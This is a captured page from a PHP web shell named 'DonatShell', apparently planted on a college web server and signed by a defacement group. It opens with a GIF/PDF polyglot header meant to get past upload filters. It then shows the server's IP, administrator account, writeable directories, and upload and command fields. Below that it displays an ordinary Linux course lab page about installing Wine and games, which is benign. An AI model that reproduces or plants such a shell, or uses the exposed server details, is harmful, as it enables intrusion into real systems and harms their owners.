GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST2505/Labs/Lab08/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST2505/Labs/Lab08/Lab08.phpinc
<?
// JimMartinson/CST2505/Labs/Lab08.php

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.

$disabled = '';
$disabled = ' disabled'; // Comment this line to enable lab.

?>
<fieldset><legend>Description</legend>
The purpose of this lab is to demonstrate your ability to install WineHQ with SolSuite and PlayOnLinux with Crayon Physics.
<?=$gradeNote?>
<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
	<span class="normal note">I could at first only perform this lab on the <b>cstvmware VM</b>.
	<br>On the next attempt I was able to perform this lab on my Oracle VM.</span>
</fieldset>
<!--
sudo dpkg --add-architecture i386
sudo apt update
sudo apt install wine64 wine32
wine --version

This fixed the dependancy issue.
wget https://download.opensuse.org/repositories/Emulators:/Wine:/Debian/xUbuntu_18.04/amd64/libfaudio0_19.07-0~bionic_amd64.deb
wget https://download.opensuse.org/repositories/Emulators:/Wine:/Debian/xUbuntu_18.04/i386/libfaudio0_19.07-0~bionic_i386.deb

-->
<fieldset><legend>Lab Instruction</legend>
Create a <b class="copyText"><?=$evaluationName?></b> folder and keep all screenshots and any copied files for this assignment in that <b><?=$evaluationName?></b> folder.
<ol class="count">
	<li>
		Install WineHQ.
		<ol>
			<li>Before you can install WineHQ you will need to install other packages, another repository, and update your Desktop.
				<ol>
					<li>Activate 386 architecture with the command: <kbd class="copyText">sudo dpkg --add-architecture i386</kbd>.</li>
					<li>Install needed packages with <kbd class="copyText">sudo apt-get install libgnutls30:i386 libldap-2.4-2:i386 libgpg-error0:i386 libxml2:i386 libasound2-plugins:i386 libsdl2-2.0-0:i386 libfreetype6:i386 libdbus-1-3:i386 libsqlite3-0:i386</kbd>.</li>
					<li>Download and install the libfaudio0 packages: <span class="note">This step was added on 12/5/2020.</span>
						<ol>
							<li>Download <a href="libfaudio0_19.07-0_bionic_amd64.deb">libfaudio0 for amd64</a> to your <b>Downloads</b> directory and install it with the command:<br><kbd class="copyText">sudo dpkg --install Downloads/libfaudio0_19.07-0_bionic_amd64.deb</kbd></li>
							<li>Download <a href="libfaudio0_19.07-0_bionic_i386.deb">libfaudio0 for i386</a> to your <b>Downloads</b> directory and install it with the command:<br><kbd class="copyText">sudo dpkg --install Downloads/libfaudio0_19.07-0_bionic_i386.deb</kbd></li>
						</ol>
					</li>
					<li>Add the cybermax-dexter repository with: <kbd class="copyText">sudo add-apt-repository ppa:cybermax-dexter/sdl2-backport</kbd>.</li>
					<li>Update and Upgrade packages with: <kbd class="copyText">sudo apt update &amp;&amp; sudo apt upgrade</kbd>.</li>
				</ol>
			</li>
			<li>Open a browser and go to the <a href="http://www.winehq.org">WineHQ site</a>.</li>
			<li>Download an install WineHQ Stable branch for Ubuntu from the <b>Download</b> page.</li>
			<li>Open a terminal window and enter the command <kbd class="copyText">clear &amp;&amp; wine --version</kbd>.</li>
			<li>
				Take a screenshot of the terminal window and save it as <b class="copyText" style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>-Wine-<?=$userFileName?>.png</b> in your <b><?=$evaluationName?></b> folder.
				<? showBegin('See example WineHQ screenshot'); ?><br>
				<img src="images/wine.png" width="734" height="488" alt="Wine install example screenshot"/><br>
				<? showEnd (); ?>
			</li>
		</ol>
	</li>
	<li>
		Install SolSuite.
		<ol>
			<li><a href="solsuite2017-ver1710-setup.exe">Download SolSuite</a> (solsuite2017-ver1710-setup.exe).</li>
			<li>Install it. You may need to right-click on the exe and select <b>Open with</b>/<b>Wine Windows Program Loader</b>.</li>
			<li>Run SolSuite. <span class="note">It should have an icon on your desktop.</span></li>
			<li>Start a game of Klondike.</li>
			<li>
				Take a screenshot of the SolSuite window and save it as <b class="copyText" style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>-SolSuite-<?=$userFileName?>.png</b> in your <b><?=$evaluationName?></b> folder.
				<? showBegin('See example SolSuite screenshot'); ?><br>
				<img src="images/SolSuite.png" width="800" height="460" alt="SolSuite example screenshot"/><br>
				<? showEnd (); ?>
			</li>
		</ol>
	</li>
	<li>
		Install PlayOnLinux.
		<ol>
			<li>Open <b>Ubuntu Software</b> and install <b>PlayOnLinux</b>.</li>
			<li>Run PlayOnLinux.</li>
			<li>Click on <b>Install a program</b>.</li>
			<li>Wait for PlayOnLinux to finish updating.</li>
		</ol>
	</li>
	<li>
		Install the PlayOnLinux game Crayon Physics.
		<ol>
			<li>If not already running, run PlayOnLinux.</li>
			<li>Click on <b>Install a program</b> (if not done by step 3.3).</li>
			<li>Select <b>Games</b>.</li>
			<li>Install Crayon Physics (not Crayon Physics Deluxe). <span class="note">PlayOnLinux may need to install other packages in order to install Crayon Physics; Simply click <b>Yes</b> to any prompts.</span></li>
			<li>Run Crayon Physics. <span class="note">It should have an icon on your desktop.</span></li>
			<li>Click on the Crayon Physics screen to begin.</li>
			<li>
				Take a screenshot of the Crayon Physics window and save it as <b class="copyText" style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>-CrayonPhysics-<?=$userFileName?>.png</b> in your <b><?=$evaluationName?></b> folder.
				<? showBegin('See example Crayon Physics screenshot'); ?><br>
				<img src="images/Crayon.png" width="800" height="630" alt="Crayon example screenshot"/><br>
				<? showEnd (); ?>
			</li>
		</ol>
	</li>
  <li>Turn in your assignment:
		<ol type="a">
			<li>Make sure the following files are in your <b><?=$evaluationName?></b> folder:
				<ol type="a">
					<li><?=$courseNumber?>-<?=$evaluationName?>-Wine-<?=$userFileName?>.png.</li>
					<li><?=$courseNumber?>-<?=$evaluationName?>-SolSuite-<?=$userFileName?>.png.</li>
					<li><?=$courseNumber?>-<?=$evaluationName?>-CrayonPhysics-<?=$userFileName?>.png.</li>
				</ol>
			</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li>
		</ol>
  </li>
</ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>
<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
#require('../../ReferencesResources.phpinc');
#require($Instructor['Path'].'/ContactInformation.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team